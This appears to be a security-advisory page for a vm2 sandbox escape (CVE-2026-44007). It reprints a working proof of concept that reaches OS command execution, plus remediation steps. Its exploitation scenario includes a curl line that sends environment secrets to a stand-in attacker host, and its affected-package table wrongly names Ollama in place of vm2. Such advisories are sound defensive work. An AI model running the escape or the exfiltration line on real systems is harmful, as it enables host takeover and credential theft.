CVE-2026-44007: vm2: sandbox escape via nesting:true enables RCE
GHSA-8hg8-63c5-gwmx CRITICAL CISA: ATTENDvm2's `nesting: true` option silently overrides `require: false` and every other module restriction, allowing untrusted code inside a NodeVM to unconditionally call `require('vm2')` and chain a full sandbox escape to arbitrary OS command execution on the host. With 1,434 downstream npm packages depending on vm2, any multi-tenant code execution service, LLM code interpreter, notebook platform, or CI sandboxing tool using `NodeVM({ nesting: true })` should be treated as boundary-less — a working PoC is publicly documented in the advisory with confirmed execution on current Node.js, and vm2 has accumulated 19 prior CVEs signaling a structural isolation problem. The blast radius is compounded by a mental model mismatch: developers who explicitly set `require: false` believe they are protected, but that setting is silently defeated. Upgrade to vm2 3.11.1 immediately; if patching is blocked, remove all `nesting: true` configurations as an emergency workaround and audit whether vm2 should be replaced entirely.
What is the risk?
Critical. CVSS 9.1 with scope change (S:C) reflecting the sandbox-to-host escape. The PoC is three lines of JavaScript requiring zero specialized knowledge — script-kiddie territory once the bypass is known and publicly documented. The core danger is a mental model failure: developers set `require: false` believing the sandbox is locked down, but `nesting: true` silently defeats it without clear documentation of the interaction. In AI/ML contexts, vm2 appears commonly in LLM agent code execution tools, AI coding assistants, and multi-tenant notebook services where untrusted or user-supplied code is a core design assumption. CVSS PR:H reflects that the host operator must have set `nesting: true`, but any authenticated user of a platform built on that configuration can exploit it with no further privilege.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Ollama | npm | <= 3.11.0 | 3.11.1 |
Do you use Ollama? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Patch immediately: upgrade vm2 to 3.11.1, which fixes the NESTING_OVERRIDE bypass in the resolver logic.
-
Emergency workaround: remove
nesting: truefrom all NodeVM configurations; verify no legitimate application paths depend on nested VM creation. -
Audit exposure: search codebases for
nesting.*trueornesting: truein NodeVM instantiations —grep -r 'nesting.*true' . --include='*.js' --include='*.ts'covers most cases, but also check transitive dependencies. -
Consider migration: with 19+ CVEs, vm2 has a structural isolation problem; evaluate Node.js built-in Worker threads with
--no-experimental-vm-modules, isolated-vm, or Deno's permission model as more robustly maintained alternatives for sandboxing. -
Detection: monitor for anomalous
child_processinvocations or unexpected outbound connections originating from sandbox host processes; in cloud environments, alert on metadata endpoint access or IAM calls from sandbox hosts.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44007?
vm2's `nesting: true` option silently overrides `require: false` and every other module restriction, allowing untrusted code inside a NodeVM to unconditionally call `require('vm2')` and chain a full sandbox escape to arbitrary OS command execution on the host. With 1,434 downstream npm packages depending on vm2, any multi-tenant code execution service, LLM code interpreter, notebook platform, or CI sandboxing tool using `NodeVM({ nesting: true })` should be treated as boundary-less — a working PoC is publicly documented in the advisory with confirmed execution on current Node.js, and vm2 has accumulated 19 prior CVEs signaling a structural isolation problem. The blast radius is compounded by a mental model mismatch: developers who explicitly set `require: false` believe they are protected, but that setting is silently defeated. Upgrade to vm2 3.11.1 immediately; if patching is blocked, remove all `nesting: true` configurations as an emergency workaround and audit whether vm2 should be replaced entirely.
Is CVE-2026-44007 actively exploited?
No confirmed active exploitation of CVE-2026-44007 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44007?
1. Patch immediately: upgrade vm2 to 3.11.1, which fixes the NESTING_OVERRIDE bypass in the resolver logic. 2. Emergency workaround: remove `nesting: true` from all NodeVM configurations; verify no legitimate application paths depend on nested VM creation. 3. Audit exposure: search codebases for `nesting.*true` or `nesting: true` in NodeVM instantiations — `grep -r 'nesting.*true' . --include='*.js' --include='*.ts'` covers most cases, but also check transitive dependencies. 4. Consider migration: with 19+ CVEs, vm2 has a structural isolation problem; evaluate Node.js built-in Worker threads with `--no-experimental-vm-modules`, isolated-vm, or Deno's permission model as more robustly maintained alternatives for sandboxing. 5. Detection: monitor for anomalous `child_process` invocations or unexpected outbound connections originating from sandbox host processes; in cloud environments, alert on metadata endpoint access or IAM calls from sandbox hosts.
What systems are affected by CVE-2026-44007?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, model serving, plugin systems.
What is the CVSS score for CVE-2026-44007?
CVE-2026-44007 has a CVSS v3.1 base score of 9.1 (CRITICAL). The EPSS exploitation probability is 0.78%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.001 AI Software AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0105 Escape to Host Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary When a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised. ### Details The vulnerability is in how the `nesting: true` option interacts with the legacy module resolver. **`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox: ```js const NESTING_OVERRIDE = Object.freeze({ __proto__: null, vm2: vm2NestingLoader }); ``` **`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options: ```js const customResolver = requireOpts instanceof Resolver; const resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions( requireOpts, nesting && NESTING_OVERRIDE, // ← injected when nesting:true this._compiler ); ``` **`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`: ```js function makeResolverFromLegacyOptions(options, override, compiler) { if (!options) { if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all // BUG: require:false + nesting:true reaches here // override (NESTING_OVERRIDE) is applied, making vm2 available const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override); return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable } // ... } ``` **`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist: ```js if (overrides) { const keys = Object.getOwnPropertyNames(overrides); for (const key of keys) { res.set(key, overrides[key]); // vm2 always injected when nesting:true } } ``` The result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`. This was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that "scripts can create a NodeVM which can require any host module," but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction. ### PoC **Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions). ```js const { NodeVM } = require('vm2'); // Host intends: nesting enabled, but require completely disabled const vm = new NodeVM({ nesting: true, require: false }); const result = vm.run(` // Step 1: require('vm2') succeeds despite require:false on the outer VM const { NodeVM: NVM } = require('vm2'); // Step 2: create an inner NodeVM with attacker-chosen require config // This inner VM has no relation to the outer VM's restrictions const inner = new NVM({ require: { builtin: ['child_process'] } }); // Step 3: execute arbitrary OS command in the inner VM module.exports = inner.run( 'module.exports = require("child_process").execSync("id").toString()' ); `); console.log(result); // uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),... ``` **Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):** ``` uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn) ``` The variant with `require: false` also works — the outer VM's require setting has no effect: ```js new NodeVM({ nesting: true, require: false }).run(` const { NodeVM: NVM } = require('vm2'); module.exports = new NVM({ require: { builtin: ['child_process'] } }) .run('module.exports = require("child_process").execSync("id").toString()'); `); // uid=1000(akshat) ... ``` Narrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled. ### Impact **Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2. **What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence. **Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access. **Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.
Exploitation Scenario
An attacker using an LLM-powered coding assistant or multi-tenant notebook platform built on vm2 submits a JavaScript snippet to the platform's code execution endpoint. The platform's NodeVM is configured with `nesting: true` to allow child VM creation and `require: false` to block all module access — a configuration the developer believes is secure. The attacker's code calls `require('vm2')`, which succeeds via NESTING_OVERRIDE despite `require: false`. The attacker then instantiates an inner NodeVM with `require: { builtin: ['child_process'] }` and executes `child_process.execSync('env | curl -d @- attacker.com/exfil')`, exfiltrating all environment variables including OPENAI_API_KEY, DATABASE_URL, and AWS credentials. With cloud credentials in hand, the attacker pivots to the platform's S3 buckets, exfiltrates user data, and establishes persistence via an AWS IAM backdoor user.
Weaknesses (CWE)
CWE-284 — Improper Access Control: The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
- [Architecture and Design, Operation] Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-46339 10.0 9router: unauthenticated RCE exposes LLM API keys
Same package: ollama CVE-2026-42249 9.8 Ollama: path traversal + unsigned update = silent RCE
Same package: ollama CVE-2026-42248 9.8 Ollama: silent auto-update bypasses signature check on Windows
Same package: ollama CVE-2025-63389 9.8 ollama: Missing Auth allows unauthenticated access
Same package: ollama CVE-2026-7482 9.1 Ollama: heap OOB read leaks API keys and chat data
Same package: ollama